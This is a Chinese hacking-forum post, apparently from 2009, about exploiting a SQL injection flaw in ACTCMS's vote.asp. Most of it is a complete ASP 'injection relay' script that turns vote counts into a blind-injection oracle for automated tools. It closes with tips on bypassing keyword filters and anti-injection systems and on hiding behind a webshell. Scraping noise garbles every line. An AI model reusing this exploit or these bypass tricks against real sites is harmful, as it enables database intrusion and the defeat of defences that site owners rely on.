* d3 N$ P. K& u- F1 u. N+ c3 f) {% @2 _
看到ninty大牛的blog的一篇文章
5 ^+ O+ I1 F- l5 [% l! a: w链接标记[url]http://www.forjj.com/?action=show&id=80[/url]- g2 a. F' g! w' g% Y, s; {; B3 R
关于actcms漏洞的利用 by 3x qq:381862589
: I/ ^% k: ?# r/ f8 Y2 G: j" k转载请注明以上
+ b' k# T" y" m) n7 j9 O! i% u# w7 k漏洞文件:& { B; _/ c6 ]
/plus/vote/vote.asp# Z# \0 N, `: ]; c# S) E
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then , S0 m# _, r k4 L& w
& H3 P5 [9 m7 q4 t6 L5 l2 m2 j2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
2 V# J' `0 `: W6 Z6 e+ J- D( Q8 ^8 O- ]( z& C
3 response.end
* X5 w% Y6 h+ P1 ~* K5 d" O7 {
2 L M7 _$ a9 t! a/ h3 X4 end if 1 l" A* d0 B5 I {/ l! ?2 _9 S
0 \3 N: o! N8 X+ O! E7 ^1 @( f5 for i=1 to request("voted").count
! l, |- A& T7 f2 r8 C* o$ A: G, n+ a+ ?1 l# G
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 8 U2 k1 Y' o! N
) t$ n' G3 d- E4 ~( e+ C/ P7 next
. b' k( \9 Q# \( W
$ S* c/ I% A& k0 O- ]+ H8....
% I' f7 t. g! ~% o# T% v' i3 }6 I: }5 _8 T& m0 n
9response.Redirect "index.asp?id="&id&"" + K; R6 @/ J3 e0 D
投票结束回跳转回index.asp这个投票结果页面- I: Q* t4 E6 C' K2 i
如果投票成功票数加1/ W! |- t( h6 j7 @% y
失败票数不变
& k: Y/ G. s: _: C如图:
5 w' M1 U# a; q1 ]) Ghttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB); T& B, r6 C9 k h1 q
( k n& W" J, T% [) K2009-12-27 13:20) e2 T8 x9 w, M: n' K$ U( S8 o9 k
( r0 x5 Z; D) m' r+ s Z2 Q1 _& F利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
& A- G V5 |+ Q; X4 ~& t& n( R
2 D) Q7 ]* _( S$ m本帖隐藏的内容需要回复才可以浏览
, g0 r' ?- E6 v我们用注入中转来实现这个注入具体代码如下:
0 p! ~& |, d- h! s& ^' t先用寂寞的刺猬大牛的注入中转生成jmget.asp
1 {+ Q0 {* Y0 Q6 y# L: x; F注入地址:http://localhost/actcms/plus/vote/vote.asp
r& z! `/ R4 k. |8 g7 ^6 r( l注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项9 H. A }3 C* }9 U; W2 A
! x& R$ X+ ] Q2 l9 @然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
" c+ B7 E* M& x& |% O& J
4 d, U4 B& f6 U* Y% Z02JmdcwName=request("jmdcw")
- d7 E$ y( W8 k) v8 T
3 T* n( w5 H6 u* T9 `03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 4 f( R5 U2 ~9 M0 o1 T3 U" _
, c2 [& H. X" |" A2 u04JmStr="id=1&voted=-1 or 1="&JmdcwName
2 H G; e4 `$ u7 Z9 M% J& h
1 s* Z5 ~2 s+ T6 ^! r$ o05JmStr=URLEncoding(JmStr)
- @& P3 V, i; v% F) }0 Z1 Z7 d" B5 R2 D( p' B- I7 f
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"1 C! m' b L: L+ X/ n
2 N/ U8 K. {* T. v G" f
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
0 f* u3 o0 U& Q; {$ u1 v" N/ h2 p" J3 F* _# k1 [+ P
08testurl=testurl & "?" & JmStr
. h. R% Z3 ~! ?% S, |
; [ a5 R7 g0 m$ Q( v A09JMUrl=JMUrl & "?" & JmStr
& h% z, K) d! Y, R, O: S
4 _& O- k3 g7 I4 s/ b10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- U" ]$ Z, N2 I9 Z3 n, g
& B/ W1 q+ f" W& y, R% G11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"6 f* T. r; F4 f* }) T9 [
- q* ?( i9 I/ ]7 y# Z) x; a6 F% k
12JmCok=replace(JmCok,chr(32),"%20")
& |1 ~; n$ ]/ O4 E& T h/ T( c- O' A7 w
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 2 [; |2 _* ^9 g0 E: S1 b* D
2 E$ n/ F0 }& z% P
14 0 P0 W' u) y; [5 C
, a' j0 e" W5 G
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 * n; q& f: e( S |7 B5 }
, W) }( o; ?# i3 T" q% r
16 ) B9 a6 b( O6 w3 a
m! e& g% a5 c5 B/ p" J17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 # H1 S( Y/ }# v9 M" l) I8 \. r% [
& w) ]) d0 l4 l18response.write test1&""&test2&""
3 T3 P5 j' W, I9 t$ @% B3 f& {' F, ]- }, l0 r% Y8 @
19 5 u# v3 r# ~5 R5 ?
0 H t* c% [8 K0 r! V/ C
20if test1=test2 then '如前后记录相等,表示失败
- d- g3 \$ ~' R4 M& w# b# r; x* A6 H! a; I( t# N D1 A& ^+ L& U7 |! g
21 response.write "failed"/ b# ~ X- a! W
: l v+ e2 R% S0 y( s
22else - {8 ^- s9 d( X! J. e: z7 B6 E( ?
) I* ?2 r' y; ~23 response.write "succeed". @# j7 r, B, ^ R1 [
* P. w6 [% U. Q+ B- z- H! c2 {24end if # y6 \9 I: _4 U6 u; ~
" n( ]3 K3 q* Z
25
# j# M2 S% u# y; j" ? u) f8 N" N
3 d: P. c+ Z) s [" o# H26response.write "by 3x"( M/ N" X' N0 L. H) X; g: R6 a
, D# N9 K7 W g% g( b! W
27 / Q; E0 N, [1 ~- O% G0 z& ^
: ? }( S; o7 }+ w, r( V9 U28 / `' D' d" z7 m1 Z" n2 n: k
7 e3 {4 d+ `; i! A: m29Function PostData(PostUrl,PostStr,PostCok,PostRef)
( I3 K3 z8 Q7 }' ^( m! |
( @ O) W s' {, D |, T) j30Dim Http - H7 m, E/ ^6 U# q8 h
4 A& f8 p: S) w, H31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ! g6 j# f D! s* [
, [6 Q) X R3 }4 H, g& ~32With Http
! @2 s* p# l! m6 {5 k0 t' L
* a4 {* `0 e; C4 ~' n Q33 , s; D/ x7 S, S% r( w
: D0 }* ?7 k$ o" y
34.Open "GET",PostUrl,False
( T% M1 ]( N' T2 ~. [$ @% P5 y+ Z; { V/ A
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"8 m& _6 G7 u& ?3 V. \2 c! N
7 v% b& e& j5 D2 N; i$ x/ A36.SetRequestHeader "Referer",PostRef
% e+ R1 ]$ m. n9 o1 u
* u1 b. V, [8 x& k/ m37.SetRequestHeader "Cookie",PostCok $ j% i F4 P. `' t
" l& N$ S( M! x
38.Send ()
6 e: ` T# `: Q3 j: m
1 C" v1 s" `0 S, F5 ~39PostData = .ResponseBody
, q) u4 ]% k- O# d% X, H1 c& f; O% G j5 Z
40End With
8 y& S: V5 k6 U/ U4 |& t2 B, u) X
41Set Http = Nothing7 G# |) V V! d" d1 V. q. m
! d3 K8 O$ Z3 x( Y1 \ ?42PostData =bytes2BSTR(PostData)
) H: @9 ?4 r$ n, b9 u) b( y/ |) m" |6 c+ S1 U
43End Function& _2 R0 {( W- W2 `' k
0 u# R. a' q, M% @44 : W; B; |$ _) K
9 w, Y8 Z1 E* w45
) J4 q3 ]; T2 Z6 s: X8 G6 B2 l
# o7 I" F9 u( ~, `" r8 L( s46Function bytes2BSTR(vIn)
, @ p# H& q& u, n# X: V2 y) {+ b& v: o4 Z. w6 `
47Dim strReturn 0 ?. W" n9 [% Q% W" _3 [$ D
& I( ^* v9 U: }5 N5 u! U3 h48Dim I, ThisCharCode, NextCharCode
! Y0 d7 }- p8 R* z1 T
; F/ C: n1 v* |. [8 \5 |6 { j- z49strReturn = ""
: l0 H: m1 j4 a" `( b, T3 n! q
' o) k, d; f5 o1 O; F; Q50For I = 1 To LenB(vIn) 3 o" G3 @; P# }
6 ^. U. v' W( O! q: n8 {
51ThisCharCode = AscB(MidB(vIn, I, 1)) / D, k% x+ j2 U. Q2 w
! R/ J; Z8 S3 {) a
52If ThisCharCode < &H80 Then$ _4 f, L3 p+ j
- C% ~1 ]4 o, U/ ]; t/ R" c9 R5 w2 y. ]( H
53strReturn = strReturn & Chr(ThisCharCode) - y8 a1 c* i$ t" _
0 `, q' d0 o" {' q5 a, G4 |" O
54Else
; c% J% s$ T# D$ n% ~
8 I4 S+ b# V$ |- n55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' R" i! D' e9 c+ r [& ^7 _) V8 O& U9 t" y6 \
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) % c3 h5 d" ?8 p# V6 X: M
. y# w/ [5 s( m- G( a57I = I + 1 " W9 v9 U$ x( C( n/ C
5 l* W$ g6 T5 X; O58End If) Y; [. a* q0 Y: f- O
% J. l4 r1 ?# P) R
59Next
8 p, O5 S5 o( f- d2 K8 E/ Q- X3 k. Z- u- Q. t& [/ T
60bytes2BSTR = strReturn
! _ D* ~2 R9 V4 z8 r2 X, ~+ ^' @ l; y' Q
61End Function
6 e- q& z/ n! o" W/ r4 z; q- H2 j5 L2 z& Z5 D- A! x) d
62
/ v& ~8 }& l* b$ W, I( ?0 D6 E9 I8 C5 h8 n3 y. C
63Function URLEncoding(vstrin)
' m1 y9 l# c6 C4 S6 {
/ \9 e- y8 m* R3 c l64strReturn="") G: ~( U% K& ~+ y: \
6 N: o q5 A& l3 V/ w3 X5 Z65Dim i " o! ~' i- J% d" O- G8 H
: O1 ^- g" h7 N4 j* h' x
66For i=1 To Len(vstrin) / P* C- v+ l) L3 X$ Z
0 c6 g$ s- P& U; z5 W6 u; t
67ThisChr=Mid(vstrin,i,1) ! K, O* |( f; b$ U7 B
% J. ], _7 Q2 @# c- j- H8 }68if Abs(Asc(ThisChr))< &HFF Then
4 d2 T/ {3 _; P6 F/ t* y8 K: f( o4 K% t- X5 I2 r# R
69strReturn=strReturn & ThisChr - o' |5 P( \: r0 \8 d8 U
: q6 F( ~# D/ z70Else1 V+ V9 ^ T+ i2 z. M+ b4 o
/ Q. q1 m, y4 p, J3 X71InnerCode=Asc(ThisChr)
* v: |+ b3 U" a7 `9 o8 G7 \9 P% K9 V8 Z3 O2 S, O
72If InnerCode<0 Then. W# V [2 T! M5 Q) S
( j8 m/ K8 u' `$ [. K
73InnerCode=InnerCode + &H10000 . l2 f) Y% U$ E0 B
+ m7 u+ _, U7 m m/ [/ v8 n6 b74End If S) U3 u, G+ V: y
0 I6 G) [2 k7 V( D75Hight1=(InnerCode And &HFF00) \&HFF
8 I: i* t3 Y4 e, f
5 a" r1 {5 K% n! \5 a. x( s76Low1=InnerCode And &HFF 9 Y* G5 ~% s6 p. [) K. y) }
* p& B C1 I( A2 ^! Y S77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ( n& ?% _, L( V- v
# B1 }. E0 N4 A78End if
5 e T8 M1 c; h' ?* p! ]' f
# p9 |; g/ Q0 a, K6 C! O: n; F9 f79Next9 K2 V$ q2 d, T. n8 j* {
& T! y% n/ d- g' V& Q
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 " ^) H+ j! t, X; [$ W& f
' t) J, @& b. _8 M7 a, x! U* |6 o
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
- w8 S* k$ r2 S" z+ P. A! M3 D
4 f# E1 Q# f( {1 V82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 ! q: O/ V' X, H% G. f2 ^
3 H# P' C: [4 p9 O$ d0 X) j
83URLEncoding=strReturn 2 `$ B+ h# q/ c; N" a) |7 N
, e8 C! v/ I; U( r2 W6 X+ t( k
84End Function
+ q2 Y- u8 X& X0 a$ M' t, Q) V5 c+ A3 {/ n
85 ) |0 D" n6 [2 `8 b* X: |* d* Y
7 ~0 m* R: D: \. A3 s% x3 _0 Q4 P
86function getSt(body) 2 l4 t, X6 E/ V. O" J, @: T
8 ^2 Q; ]- q( \& q% I
87 startpot=instr(body,"投票人数:")+len("投票人数:") ( J8 b4 r/ q: \0 @
" d: c$ t$ U* n2 T: z9 M88 endpot=instr(startpot,body," ") " s2 k, g: `3 v0 C! k2 l
2 F2 j5 r) ~( \
89 getSt=mid(body,startpot,endpot-startpot)
4 n6 U0 T/ t- R/ S2 l
! H+ E' P) j# t1 V; U6 j v+ J90end function " ~3 ]5 c; \9 c$ @# K. c1 o
3 O( ? l# ?2 p9 V" M* O9 J3 i0 d+ q91%>
8 K5 o1 [* }0 Z6 g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
! ]( ~/ ~# _1 Y0 `9 ?测试下效果:; \7 z- Y. y1 s1 M4 A0 ^( s$ U1 [
投票成功:
0 I& |/ b4 ? I* N9 L0 ^http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 |. q& h' I6 @+ g' _
8 {( O# g! S0 @+ F2009-12-27 13:29( C* e$ e% P; ~6 n# i
投票失败
3 }+ j `, I, v2 ohttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( X$ {, Q( y T" N3 h6 W
@! W+ ^( J9 [6 y% p2009-12-27 13:29
+ V& d% y' D4 `' I9 \3 Z5 ~-------------------------------------------------------------------------------; P+ T# ^; w1 y: Z ^
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
% ?9 Y }$ y: {# b+ `) f' w$ ^很抱歉。。。只能用单线程工具去注入。。。。。
( ?1 k. P* i9 q5 _: y3 w所以失败。。。不好意思。。。9 e8 e6 k" \" T
-------------------------------------------------------------------------------1 A& N& @6 S. [" E
3 _) O# y* A; ~# w* l6 b/ X; q
注入中转的一些其他应用
' _. }; ?% u3 O$ }& S. _0 s7 S- J其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& Z' q6 t8 h! j3 L! _+ W1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 d, F" y) i5 J; ?* G5 t& X
2.post注入转成get型的注入,方便我们使用工具来跑5 R. G; F9 [$ \8 v7 b
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
$ {% s& v$ A- z4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过% h% b5 B) ]7 B' z3 l3 Z
+ j$ v9 J$ Z+ z, R |